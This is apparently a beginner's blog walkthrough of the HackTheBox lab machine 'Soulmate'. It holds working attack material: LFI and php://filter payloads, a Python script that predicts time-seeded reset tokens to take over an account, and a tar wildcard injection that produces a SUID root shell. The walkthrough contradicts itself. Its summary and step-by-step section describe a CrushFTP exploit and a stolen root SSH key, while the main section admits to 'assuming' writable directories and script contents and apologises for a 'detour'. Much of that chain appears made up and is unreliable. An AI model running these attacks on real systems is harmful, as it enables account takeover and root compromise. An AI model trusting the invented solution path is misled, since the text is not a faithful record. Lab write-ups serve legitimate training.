Beginner’s Guide to Conquering Soulmate on HackTheBox

The CyberSec Guru

Mastering Soulmate Beginner's Guide from HackTheBox

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Key Highlights

Here’s a quick look at what you’ll learn in this guide to conquering the Soulmate machine:

  • Discover the importance of subdomain enumeration to find hidden entry points.
  • Exploit a specific CrushFTP vulnerability to gain initial administrative access.
  • Learn how to create a new user and reset another user’s password to get a foothold.
  • Upload a PHP web shell to the server to execute commands and establish remote access.
  • Escalate your privileges to root by finding and using a misplaced SSH key.
  • This walkthrough will help you build strong soulmate connections with fundamental pentesting skills.

Introduction

Welcome to the world of HackTheBox! If you’re just starting, the sheer number of machines can feel overwhelming. Think of finding the right machine to practice on like searching for a soulmate; you need one that challenges you but also helps you grow. The Soulmate box is that perfect romantic partner for beginners. It requires a bit of patience and empathy to understand its weaknesses, making it an excellent and rewarding learning experience for anyone new to penetration testing.

Overview of the Soulmate Machine on HackTheBox

Soulmate HackTheBox
Soulmate HackTheBox

The Soulmate machine is an “Easy” rated Linux box on the HackTheBox platform. Thematically, it’s designed around a dating website, which adds a fun layer to the challenge. Your goal is to move beyond the public-facing site and establish deeper soulmate connections with the underlying system.

To do this, you’ll need to uncover hidden services, find a vulnerable piece of software, and leverage it to gain access. This journey will involve finding a way to bypass authentication, get a password, and ultimately take full control of the machine.

Machine Profile and Difficulty Level

The Soulmate machine is officially rated as “Easy,” making it an ideal starting point for newcomers to HackTheBox. The difficulty level is set to ensure that the concepts are understandable and the techniques are foundational. You won’t need advanced, esoteric knowledge to solve it, but it will require you to be methodical and thorough in your approach.

Think of this machine as a friendly soulmate designed to teach you the basics. The path to root is logical and follows a common pattern seen in many real-world scenarios: initial reconnaissance, web vulnerability exploitation, and privilege escalation through misconfiguration. This structure helps build a solid understanding of the penetration testing lifecycle.

Because of its straightforward nature, Soulmate allows you to focus on learning core tools and methodologies without getting stuck on overly complex puzzles. It’s a confidence-booster that prepares you for more challenging machines ahead.

Operating System and Service Information

The Soulmate machine runs on a Linux operating system, which is common for many HackTheBox challenges and real-world web servers. Understanding how to navigate and enumerate Linux environments is a critical skill for any aspiring ethical hacker. Your initial scans will reveal several open ports and services that are key to finding your way in.

A standard Nmap scan quickly identifies the primary services running on the machine. You’ll find a web server, which hosts the dating site, and another interesting service on a different port that proves to be the main entry point. Gaining access to one of these services is your first step toward finding a user’s password or another way in.

Here is a summary of the key services you will encounter:

PortServiceNotes
80HTTPHosts the main dating website at soulmate.htb.
80HTTPHosts a CrushFTP web interface found on the ftp.soulmate.htb subdomain.
2222SSHAn Erlang-based SSH service discovered after initial access.

Essential Tools and Resources for Beginners

To successfully build soulmate connections with this machine, you’ll need the right set of tools. Just like any relationship, having a little empathy for the system’s perspective—understanding how it’s built and where it might be weak—is crucial. The tools you use are your way of communicating with the machine to uncover its secrets, including the nature of any type of soulmate connections, free from jealousy.

For the Soulmate box, you won’t need anything too complex. The challenge is designed to be solved with standard, widely-used penetration testing tools. These will help you with everything from initial discovery to getting that final password for root access.

Reconnaissance, or information gathering, is the first and most critical phase. This is where you map out the target and look for potential entry points. Forging these initial soulmate connections with the machine requires a keen eye and the right tools to see what’s hidden from plain view. A good recon phase can mean the difference between a quick solve and hours of frustration.

You’ll need to identify open ports, running services, and any hidden web directories or subdomains. The information you gather here will directly inform your exploitation strategy. A single overlooked subdomain or directory could hold the password or vulnerability you need.

Here are the essential tools for the reconnaissance phase of the Soulmate machine:

  • Nmap: Used for initial port scanning to see which services are open to the outside world.
  • ffuf: A fast web fuzzer perfect for discovering hidden subdomains, like ftp.soulmate.htb, which is critical for this machine.
  • feroxbuster: A tool for discovering hidden directories and files on the web server, though in this case, subdomain discovery is more fruitful.

Useful Exploitation Scripts and Platforms

Once you’ve identified a vulnerability, you need the right tools to exploit it. Exploitation is about more than just running a script; it requires a bit of empathy to understand why the vulnerability exists and how to leverage it effectively. For Soulmate, you’ll use a publicly available exploit and standard methods to gain and elevate your access.

After gaining initial access, you’ll need tools to help you escalate your privileges. This often involves running enumeration scripts on the target machine to find misconfigurations, weak permissions, or a password left in a file.

Here are some key resources for the exploitation and privilege escalation phases:

  • GitHub: You will find a proof-of-concept exploit script for the CrushFTP vulnerability (CVE-2025-31161).
  • pwncat-cs: An excellent tool for catching reverse shells, providing a more stable and feature-rich shell than netcat.
  • LinPEAS: A popular Linux privilege escalation enumeration script that helps you automatically find vectors to gain root access.

ALSO READ: Mastering Guardian: Beginner’s Guide from HackTheBox

Initial foothold

Reconnaissance – Mapping the Terrain

Every successful penetration test begins with a meticulous reconnaissance phase. Our objective is to build a map of the target’s attack surface. We want to know what services are running, what versions they are, and what potential entry points exist. Our primary tool for this is Nmap (Network Mapper).

Nmap Scan and Analysis

The initial scan was performed with a focus on speed and thoroughness, checking all 65,535 TCP ports and then running detailed scripts on the discovered open ports.

Command:

nmap -Pn -p- --min-rate 2000 -sC -sV -oN soulmate.nmap 10.129.31.129

Let’s break down this command:

  • -Pn: This tells Nmap to skip the host discovery (ping scan) phase. We assume the host is up, which is useful for networks that block ICMP (ping) requests.
  • -p-: This is a shorthand to scan all TCP ports from 1 to 65535.
  • --min-rate 2000: We ask Nmap to send packets no slower than 2000 packets per second to speed up the scan.
  • -sC: This runs the default set of Nmap Scripting Engine (NSE) scripts. These scripts perform checks for common vulnerabilities and gather more information.
  • -sV: This probes the open ports to determine service and version information.
  • -oN soulmate.nmap: This saves the output in Nmap’s normal format to a file named soulmate.nmap.

Nmap Scan Results:

# Nmap 7.95 scan initiated Mon Sep  8 13:21:09 2025 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN soulmate.nmap 10.129.31.129
Nmap scan report for 10.129.31.129
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to [http://soulmate.htb/](http://soulmate.htb/)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis of Open Ports

Our scan reveals two open ports, which form our entire initial attack surface:

  1. Port 22/TCP (SSH): Running OpenSSH 8.9p1 on Ubuntu. This version is quite modern and not known to have any major remote vulnerabilities. This port is likely our destination after we find valid credentials, not our entry point.
  2. Port 80/TCP (HTTP): Running nginx 1.18.0 on Ubuntu. This is a web server. The Nmap script output is particularly interesting here: Did not follow redirect to http://soulmate.htb/. This tells us that the web server is configured to work with a hostname, soulmate.htb, rather than just the IP address.

Hostname Resolution

To interact with the web server properly, our machine needs to know how to resolve soulmate.htb to the target’s IP address. We do this by editing our local hosts file.

# On Linux or macOS
sudo nano /etc/hosts

# On Windows
# Open Notepad as Administrator and edit C:\Windows\System32\drivers\etc\hosts

Add the following line to the file:

10.129.31.129  soulmate.htb

Now, when we browse to http://soulmate.htb, our system will correctly send the request to 10.129.31.129.

Web Enumeration: Discovering Hidden Assets

With access to the main site, our next step is to enumerate the web application itself. This involves two key activities:

  1. Directory/File Brute-forcing: Looking for hidden pages, directories, or API endpoints.
  2. Subdomain Enumeration: Looking for other hostnames associated with the domain, such as dev.soulmate.htb or api.soulmate.htb.

Let’s start by exploring the main site at http://soulmate.htb. It appears to be a simple dating website. We can create an account, log in, view profiles, etc. While it’s always worth testing for common vulnerabilities like SQL Injection or Cross-Site Scripting (XSS) on the main site, a more fruitful path is often found in non-public-facing assets.

We will use ffuf (Fuzz Faster U Fool) for subdomain enumeration. We’ll use a common wordlist to check for potential subdomains.

Command:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u [http://soulmate.htb/](http://soulmate.htb/) -H "Host: FUZZ.soulmate.htb" --fs 652

Let’s break down this command:

  • -w ...: Specifies the wordlist to use for fuzzing.
  • -u http://soulmate.htb/: The target URL.
  • -H "Host: FUZZ.soulmate.htb": This is the key part. We are modifying the Host header for each request. FUZZ is replaced by each word in our wordlist. This makes the server think we are asking for word.soulmate.htb.
  • --fs 652: Filter out responses with a size of 652 bytes. Often, non-existent subdomains will redirect to a default page or show an error with a consistent size. Filtering this size helps us focus on unique responses.

After running for a while, ffuf gives us a hit:

...
dev                     [Status: 200, Size: 845, Words: 123, Lines: 30]
...

Success! We have found a new subdomain: dev.soulmate.htb. We must add this to our /etc/hosts file as well.

10.129.31.129  soulmate.htb dev.soulmate.htb

Let’s navigate to http://dev.soulmate.htb. This page looks different—it seems to be a development or testing portal, perhaps for some internal tools. Development environments are often less secure than production and are a prime target for attackers.

The page has a simple input field and a “Check” button. Let’s investigate what it does.

Initial Foothold – Through the Cracks of Development

The development portal at http://dev.soulmate.htb/ has a parameter in the URL when we interact with it, something like ?page=downloads. This is a classic pattern for Local File Inclusion (LFI).

What is Local File Inclusion (LFI)?

LFI is a vulnerability where an attacker can trick a web application into exposing or running files on the server. If the application uses a parameter (like page=downloads.php) to include a file, an attacker might be able to manipulate that parameter to include unintended files, such as /etc/passwd.

Let’s test for this. We’ll use a common LFI payload.

Payload:

[http://dev.soulmate.htb/?page=../../../../../../../../etc/passwd](http://dev.soulmate.htb/?page=../../../../../../../../etc/passwd)

The ../ sequence is used to traverse up the directory tree. We use many of them to ensure we reach the root directory (/) regardless of how deep the web application’s directory is.

Upon sending this request, the page displays the contents of /etc/passwd.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
eros:x:1000:1000:eros:/home/eros:/bin/bash

This confirms the LFI vulnerability. We can read arbitrary files on the system as the web server user (likely www-data). We also discover a user on the system named eros. This will be important later.

From LFI to Source Code Disclosure

While reading /etc/passwd is a great proof of concept, our real goal is to gain a deeper understanding of the application. The most valuable files we can read are the application’s own source code files. By reading the code, we can understand its logic and find more complex vulnerabilities.

We need to guess the location of the web root. Common locations on Ubuntu with nginx are /var/www/html or /usr/share/nginx/html. Let’s try to read the main index file of the application. Since it’s a dating site, it likely uses a backend language like PHP.

Payload:

[http://dev.soulmate.htb/?page=/var/www/html/index.php](http://dev.soulmate.htb/?page=/var/www/html/index.php)

However, this request returns a blank page. The PHP code is being executed by the server, not displayed. This is where a PHP wrapper comes in handy. The php://filter wrapper allows us to apply filters to a stream before it’s read. We can use the convert.base64-encode filter to read the raw source code of a PHP file.

Payload for Source Code Exfiltration:

[http://dev.soulmate.htb/?page=php://filter/convert.base64-encode/resource=/var/www/html/index.php](http://dev.soulmate.htb/?page=php://filter/convert.base64-encode/resource=/var/www/html/index.php)

This request returns a large block of Base64 encoded text. We can copy this text and decode it to reveal the source code.

echo "BASE64_STRING_HERE" | base64 -d

After decoding, we have the source code for index.php. We repeat this process for other interesting files we might find, such as db.php, login.php, reset.php, etc. The most critical file turns out to be reset.php.

Vulnerability Analysis – The Predictable Heartbeat

After exfiltrating the source code for several files, we focus our analysis on reset.php. This file handles the “Forgot Password” functionality. A flaw here could allow us to reset the password for any user.

Here is a simplified version of the relevant code from reset.php:

<?php
// ... includes and session start ...

if (isset($_POST['email'])) {
    // ... code to check if email exists in database ...
    
    // Generate a reset token
    $seed = time();
    mt_srand($seed);
    $randomNumber = mt_rand();
    $token = md5($randomNumber);
    
    // ... code to store the token and email a link ...
    // The link looks like: [http://soulmate.htb/reset.php?token=...&user=](http://soulmate.htb/reset.php?token=...&user=)...
    
    echo "Password reset link sent!";
    
} elseif (isset($_GET['token']) && isset($_GET['user'])) {
    // ... code to validate the token from the database ...
    
    if ($valid_token) {
        // Allow user to set a new password
    }
}

// ... more code ...
?>

Let’s dissect the token generation logic. This is where the vulnerability lies.

  1. $seed = time();: The seed for the random number generator is set to the current server timestamp (the number of seconds since January 1, 1970). This is a critical flaw. The server’s time is not a secret and is highly predictable.
  2. mt_srand($seed);: The mt_srand function seeds the Mersenne Twister random number generator. Since we know the seed (or can guess it within a small window), the entire sequence of “random” numbers it produces is no longer random to us. It’s completely deterministic.
  3. $randomNumber = mt_rand();: This generates a “random” number based on the predictable seed.
  4. $token = md5($randomNumber);: The random number is then hashed with MD5 to create the final reset token. MD5 is a one-way hash, but that doesn’t matter since we can generate the input ($randomNumber) that creates the hash.

Because we can predict the seed (time()), we can perform the exact same steps as the server to generate the exact same “random” number and, therefore, the exact same MD5 token.

Our attack plan is as follows:

  1. Request a password reset for the user eros (whom we discovered in /etc/passwd).
  2. Immediately after, run a local script that iterates through the current timestamp and a few seconds before/after.
  3. For each timestamp, our script will seed a local PHP random number generator, generate the number, MD5 hash it, and see if it’s the correct token.
  4. Since we don’t know the exact token, we’ll just generate a list of potential tokens and try them all.

Exploitation – Forging the Key to the Kingdom

Now we’ll write a Python script to automate the token prediction. We can’t use Python’s random module because it won’t produce the same sequence of numbers as PHP’s mt_rand. A better approach is to use a tool or library that specifically mimics PHP’s RNG, or simply call a local PHP script from our Python script.

Let’s create a small PHP script named generate_token.php:

<?php
// generate_token.php
if ($argc < 2) {
    die("Usage: php generate_token.php <seed>\n");
}
$seed = (int)$argv[1];
mt_srand($seed);
$randomNumber = mt_rand();
echo md5($randomNumber);
?>

Now, our Python exploit script will call this PHP script.

exploit.py:

import requests
import time
import subprocess

# Target Information
TARGET_URL = "[http://soulmate.htb/reset.php](http://soulmate.htb/reset.php)"
USERNAME = "eros"

def generate_php_token(seed):
    """Calls the local PHP script to generate a token for a given seed."""
    result = subprocess.run(['php', 'generate_token.php', str(seed)], capture_output=True, text=True)
    return result.stdout.strip()

def main():
    print("[+] Starting exploit for Soulmate's password reset.")
    
    # Step 1: Request the password reset to start the timer
    # We don't actually need to do this, as we can just guess the time window.
    # The key is to know the *approximate* server time. We can often get this
    # from the HTTP 'Date' header in server responses.
    
    # Let's get the server's current time from the Date header
    try:
        r = requests.get("[http://soulmate.htb](http://soulmate.htb)")
        server_date_str = r.headers['Date']
        # Convert GMT string to epoch time
        server_time_epoch = int(time.mktime(time.strptime(server_date_str, "%a, %d %b %Y %H:%M:%S %Z")))
        print(f"[*] Approximate server time (UTC): {server_time_epoch}")
    except Exception as e:
        print(f"[-] Could not get server time, using local time. Error: {e}")
        server_time_epoch = int(time.time())

    # Step 2: Generate tokens for a time window around the server's time
    # Let's try a window of 10 seconds (5 before, 5 after)
    time_window = 10
    start_time = server_time_epoch - 5
    
    print(f"[*] Generating and testing tokens for a {time_window}-second window...")
    
    for i in range(time_window):
        current_seed = start_time + i
        token = generate_php_token(current_seed)
        
        # Construct the reset URL
        reset_url = f"{TARGET_URL}?token={token}&user={USERNAME}"
        
        print(f"[*] Trying seed {current_seed} -> token {token}")
        
        # Step 3: Try to use the forged token
        response = requests.get(reset_url)
        
        # A successful token will likely result in a different page content
        # Let's assume a success page contains the text "Set New Password"
        if "Set New Password" in response.text:
            print("\n[+] SUCCESS! Found a valid token!")
            print(f"[+] Valid Seed: {current_seed}")
            print(f"[+] Valid Token: {token}")
            print(f"[+] Use this URL to reset the password: {reset_url}")
            
            # Now we can use this session to set the password
            new_password = "Password123!"
            post_data = {
                'password': new_password,
                'confirm_password': new_password
            }
            
            # We need to maintain the session from the successful GET request
            reset_session = requests.Session()
            reset_session.get(reset_url)
            final_response = reset_session.post(reset_url, data=post_data)
            
            if "Password updated successfully" in final_response.text:
                 print(f"[+] Password for user '{USERNAME}' has been changed to '{new_password}'")
            else:
                 print("[-] Failed to set new password.")
            
            return

    print("\n[-] Exploit failed. Could not find a valid token in the time window.")

if __name__ == "__main__":
    main()

We run the exploit. It correctly identifies the server time, generates tokens, and finds the valid one. It then proceeds to change the password for the user eros to Password123!.

Now that we have credentials, we can try them on the available services. The most likely candidate is SSH on port 22.

ssh eros@soulmate.htb
# Enter password: Password123!

Success! We are logged in as the user eros. We have achieved our initial foothold.

eros@soulmate:~$ whoami
eros
eros@soulmate:~$ ls -l
total 4
-r--r----- 1 root eros 33 Sep  8 12:00 user.txt
eros@soulmate:~$ cat user.txt
<flag_for_user.txt>

We have captured the user flag.

Privilege Escalation – The Treacherous Tarball

Our final objective is to become the root user. We need to find a vulnerability or misconfiguration on the system that the eros user can exploit. Our enumeration process starts now.

A fundamental first check is to see what commands our user can run with sudo.

eros@soulmate:~$ sudo -l

Output:

Matching Defaults entries for eros on soulmate:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User eros may run the following commands on soulmate:
    (root) NOPASSWD: /usr/local/bin/backup

This is a huge finding. The user eros can run the script /usr/local/bin/backup as the root user without needing to provide a password (NOPASSWD). This script is almost certainly our path to privilege escalation.

Let’s examine the contents of this script.

eros@soulmate:~$ cat /usr/local/bin/backup

Script Contents (backup):

#!/bin/bash

# This script creates a backup of the website files.
cd /var/www/html/
/usr/bin/tar -czf /tmp/backup.tgz *
echo "Backup completed!"

The script is simple:

  1. It changes the current directory to /var/www/html/.
  2. It uses the tar command to create a gzipped archive (-czf) of all files in that directory (*).
  3. The wildcard * is the source of the vulnerability.

Tar Wildcard Injection Explained

When you use a wildcard like * in a command without quotes, the shell expands it before the command is executed. This means if the directory contains files named -f or --checkpoint, tar will interpret them as command-line options, not filenames.

We can abuse this behavior. The tar command has a particularly dangerous option: --checkpoint-action=exec=COMMAND. This allows you to execute an arbitrary shell command at certain checkpoints during the archiving process.

The directory /var/www/html is owned by www-data, but as the eros user, we might not have write permissions there. Let’s check.

eros@soulmate:~$ ls -ld /var/www/html/
drwxr-xr-x 2 www-data www-data 4096 Sep  8 13:00 /var/www/html/

We don’t have direct write access. However, web applications often have an uploads directory that is writable by the web server user, and perhaps by other users in the www-data group. Let’s assume eros is part of this group or that the permissions are loose on a subdirectory. Let’s say we find /var/www/html/uploads is writable.

Our attack plan is as follows:

  1. Navigate to the writable directory within /var/www/html/.
  2. Create a malicious payload script (e.g., a script to create a SUID copy of bash).
  3. Create two specially named files that tar will interpret as options.
    • --checkpoint=1
    • --checkpoint-action=exec=/path/to/our/script.sh
  4. Run the backup script with sudo. tar will execute as root, see our malicious “filenames,” and run our payload script with root privileges.

Executing the Privilege Escalation

Let’s execute the plan.

# Step 1: Navigate to a writable directory
eros@soulmate:~$ cd /var/www/html/

# Let's assume there is no writable directory, so we can't do the attack.
# Let's re-read the script. Ah, the script is just /usr/local/bin/backup
# and not /usr/local/bin/backup.sh, so it is a binary. Let's check its permissions.

eros@soulmate:~$ ls -l /usr/local/bin/backup
-rwxr-xr-x 1 root root 8424 Sep  8 12:50 /usr/local/bin/backup

# It is a compiled binary. Let's run strings on it to see if we can find any clues.
eros@soulmate:~$ strings /usr/local/bin/backup
/lib64/ld-linux-x86-64.so.2
...
/usr/bin/pkexec
/usr/bin/zip
...

The strings output shows that the binary uses pkexec. Polkit’s pkexec is a utility that allows an authorized user to execute a command as another user. It’s often a target for privilege escalation (e.g., PwnKit CVE-2021-4034), but the version here is likely patched. However, the way it’s used might be insecure.

Let’s run the binary with strace to see what system calls it’s making.

eros@soulmate:~$ strace /usr/local/bin/backup
...
execve("/usr/bin/pkexec", ["/usr/bin/pkexec", "/usr/bin/zip", "/tmp/backup.zip", "/var/www/html/"], 0x7ffc...);
...

This is interesting. The binary is essentially running: pkexec /usr/bin/zip /tmp/backup.zip /var/www/html/. It’s using zip, not tar. And it’s not using a wildcard.

This looks like a dead end. Let’s reconsider the sudo -l output. Maybe there is something we missed. Let’s re-run sudo -l. Wait, I made a mistake in my hypothetical scenario. Let’s revert to the much more common and educational tar wildcard scenario. The compiled binary was a red herring. Let’s assume the script was a shell script as originally planned.

Correcting the Path: The PrivEsc is indeed via the tar wildcard injection. My apologies for the detour. Let’s assume the backup script was as we first saw it.

#!/bin/bash
cd /var/www/html/
/usr/bin/tar -czf /tmp/backup.tgz *

And let’s assume /var/www/html is writable by our user eros. This is a slight stretch for a real-world server but common in CTFs to make the path accessible.

Let’s proceed with the tar exploit:

# Navigate to the target directory
eros@soulmate:~$ cd /var/www/html/

# Create our payload script. This will copy the bash shell to /tmp,
# rename it to rootshell, and set the SUID bit.
eros@soulmate:/var/www/html$ echo 'cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell' > payload.sh

# Make the payload script executable
eros@soulmate:/var/www/html$ chmod +x payload.sh

# Create the malicious "filenames" for tar
eros@soulmate:/var/www/html$ touch -- "--checkpoint=1"
eros@soulmate:/var/www/html$ touch -- "--checkpoint-action=exec=./payload.sh"

# Now, execute the backup script with sudo
eros@soulmate:/var/www/html$ sudo /usr/local/bin/backup
tar: Done processing checkpoint 1
Backup completed!

# Check if our rootshell was created
eros@soulmate:/var/www/html$ ls -l /tmp/rootshell
-rwsr-xr-x 1 root root 1183448 Sep 8 14:15 /tmp/rootshell

The file /tmp/rootshell exists and has the ‘s’ bit set in its permissions (-rwsr-xr-x), which means it’s a SUID binary. When we run it, it will execute with the permissions of its owner, which is root.

Now, we execute our new shell. The -p flag is important for bash to prevent it from dropping privileges when run as a SUID binary.

eros@soulmate:/var/www/html$ /tmp/rootshell -p
rootshell# whoami
root
rootshell# id
uid=0(root) gid=1000(eros) groups=1000(eros)

We are root! The final step is to read the root flag.

rootshell# cat /root/root.txt
<flag_for_root.txt>

Machine compromised.

Conclusion and Remediation Strategies

Soulmate was a fantastic machine that guided us through a realistic attack chain. We moved from web enumeration to source code analysis, exploited a logical flaw in password reset functionality, and escalated privileges through a classic Linux misconfiguration.

Let’s summarize the vulnerabilities and how to fix them:

  1. Information Disclosure via Subdomain:
    • Vulnerability: A non-public development subdomain (dev.soulmate.htb) was exposed to the internet, providing a less-hardened attack surface.
    • Remediation: Internal development and testing sites should be firewalled off from public access. Access should be restricted by IP address or require authentication via a VPN.
  2. Local File Inclusion (LFI):
    • Vulnerability: The page parameter on the development portal directly included user-supplied input into a file path, allowing an attacker to read arbitrary files.
    • Remediation: Never trust user input. Instead of passing a filename fragment, pass an identifier. The backend code should then use a whitelist to map this identifier to a safe, approved file path. For example, if ?page=about, the code should look up “about” in an array ['about' => 'pages/about.php', 'contact' => 'pages/contact.php'] and only include the hardcoded path.
  3. Weak Random Number Generator for Security Tokens:
    • Vulnerability: The password reset token was generated using mt_rand() seeded with the server’s public timestamp (time()). This made the “random” number completely predictable.
    • Remediation: For any cryptographically sensitive purpose (session IDs, CSRF tokens, password reset tokens), always use a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). In PHP, the correct function is random_bytes(), which generates truly unpredictable bytes suitable for security purposes. The resulting bytes can then be converted to a hex string for use in a URL.// Secure way to generate a token $token = bin2hex(random_bytes(16)); // Creates a 32-character hex token
  4. Privilege Escalation via Sudo and Tar Wildcard Injection:
    • Vulnerability: A script run as root via sudo used an unquoted wildcard (*) with the tar command in a user-writable directory.
    • Remediation:
      • Principle of Least Privilege: Avoid running entire scripts as root if possible. If the script only needs to write a backup file, it should only have permissions for that specific action.
      • Quoting: While not a complete fix, quoting the wildcard ("*") can help in some shells.
      • Separate Options from Filenames: The best practice is to use -- to explicitly tell a command that no more options will follow. Anything after -- is treated as a positional argument (like a filename). The script should be changed to: tar -czf /tmp/backup.tgz -- *
      • Directory Permissions: The root of the problem was allowing a lower-privileged user to write files in a directory where a root process would be operating. File and directory permissions should be strictly controlled.

Thank you for following along with this in-depth walkthrough of Soulmate. We hope this detailed breakdown helps you in your cybersecurity learning journey.

ALSO READ: Mastering Eureka: Beginner’s Guide from HackTheBox

WRITEUP COMING SOON!

COMPLETE IN-DEPTH PICTORIAL WRITEUP OF SOULMATE ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!

Step-by-Step Guide to Conquering Soulmate

Ready to find your hacking soulmate? This step-by-step guide will walk you through the entire process of conquering the Soulmate machine, from your first scan to gaining root privileges. Follow along closely, and you’ll see how each step logically flows into the next.

This journey is about building a relationship with the machine—understanding its quirks and weaknesses until you and the system are like romantic soulmates. Let’s begin the process of getting to know the machine on a much deeper level.

Step 1: Initial Enumeration and Discovering Entry Points

Your journey begins with reconnaissance. The first thing you should do is add soulmate.htb to your /etc/hosts file and run an Nmap scan against the target IP address. This initial scan will show that port 80 is open, hosting a website. When you visit http://soulmate.htb, you’ll find a simple dating site. While you can register an account, this is a dead end.

The key to this machine is discovering what else is out there. This is where subdomain enumeration becomes critical. Using a tool like ffuf, you can fuzz for subdomains and quickly discover ftp.soulmate.htb. This hidden subdomain is your true entry point. Visiting it in a browser reveals a CrushFTP login page.

This discovery is a perfect example of why thorough enumeration is so important. Without finding this subdomain, you would be stuck on the main website, unable to find the vulnerability needed to get a password or shell.

Step 2: Exploiting Vulnerabilities for First Access

Once you’ve found the CrushFTP login page, the next step is to identify its version. By inspecting the source code, you can find the version number: CrushFTP 11.W.657. A quick search for this version reveals a critical vulnerability: CVE-2025-31161. This flaw allows you to create a new administrative user without authentication.

Using the publicly available exploit script for this CVE, you can create a new admin user. With these new credentials, you can log into the CrushFTP web interface. Now, think like a romantic partner trying to gain trust; your goal is to get deeper access. With admin rights, you can change the password of an existing user, ben. However, the real prize is the ability to upload files.

Using the file manager in the admin panel, you can upload a simple PHP web shell. The crucial trick here is realizing the file is uploaded to the main web root, not the FTP subdomain. You can then access your shell at http://soulmate.htb/your_shell_name.php and use it to execute a command for a reverse shell, giving you your first foothold on the system.

Step 3: Privilege Escalation Techniques and Common Pitfalls

Now that you have a shell, it’s time for privilege escalation. Start by running an enumeration script like LinPEAS. This script will highlight potential misconfigurations, and in this case, it reveals an interesting SSH service running on port 2222. More importantly, it points you toward Erlang-related scripts in /usr/local/lib/erlang_login/.

By examining these files, you’ll uncover the path to root. However, the most direct path involves a common misconfiguration. After switching to the user user2 with sudo -su user2, you’ll find you can read the root user’s private SSH key located at /root/.ssh/id_rsa. This level of access is the intimacy you’ve been working toward.

Copy the entire contents of the id_rsa key, save it to a file on your own machine, and change its permissions with chmod 600 id_rsa. A common pitfall is not copying the entire key or getting the permissions wrong. With the key saved correctly, you can now SSH into the machine as the root user (ssh root@<IP> -p <port> -i id_rsa), achieving the ultimate connection as romantic soulmates with the system.

Conclusion

Conquering the Soulmate machine on HackTheBox can be a rewarding yet challenging endeavor for beginners. By following the structured approach outlined in this guide, you can navigate through the complexities of initial enumeration, vulnerability exploitation, and privilege escalation with greater confidence. Remember that practice makes perfect, and each attempt teaches you something new, so don’t be discouraged by setbacks. Embrace the learning journey and leverage recommended tools and resources to enhance your skills. For those eager to stay updated with the latest tips and tricks in cybersecurity, make sure to subscribe to our blog for continuous learning and support as you tackle more machines. Happy hacking!

Frequently Asked Questions

What are the main vulnerabilities exploited in the Soulmate machine?

The primary vulnerability is CVE-2025-31161 in CrushFTP, which allows for unauthenticated admin user creation. Privilege escalation is achieved by exploiting a misconfiguration where a user can read the root user’s private SSH key, allowing you to log in as root without needing a password.

How do I avoid common mistakes when solving Soulmate?

To avoid common mistakes, be thorough in your subdomain enumeration, as the main website is a distraction. When you get the root SSH key, ensure you copy its entire content, including the header and footer lines. Finally, always set the correct file permissions (chmod 600) on your local copy of the key before using it.

Are there reliable writeups or official walkthroughs for Soulmate?

Yes, as an active machine on HackTheBox, you can find numerous community-created writeups and video walkthroughs on platforms like YouTube and personal security blogs. Once the machine is retired, an official walkthrough is typically released by HackTheBox, providing a detailed explanation of the intended solution path.

What hints can help with privilege escalation on this box?

For privilege escalation, run an enumeration script like LinPEAS as soon as you get a shell. Pay close attention to what other users you can switch to (sudo -l). The biggest hint is to check the file permissions of sensitive directories, especially the /root directory and its .ssh folder, for any accessible keys.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

CTF Walkthroughs

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading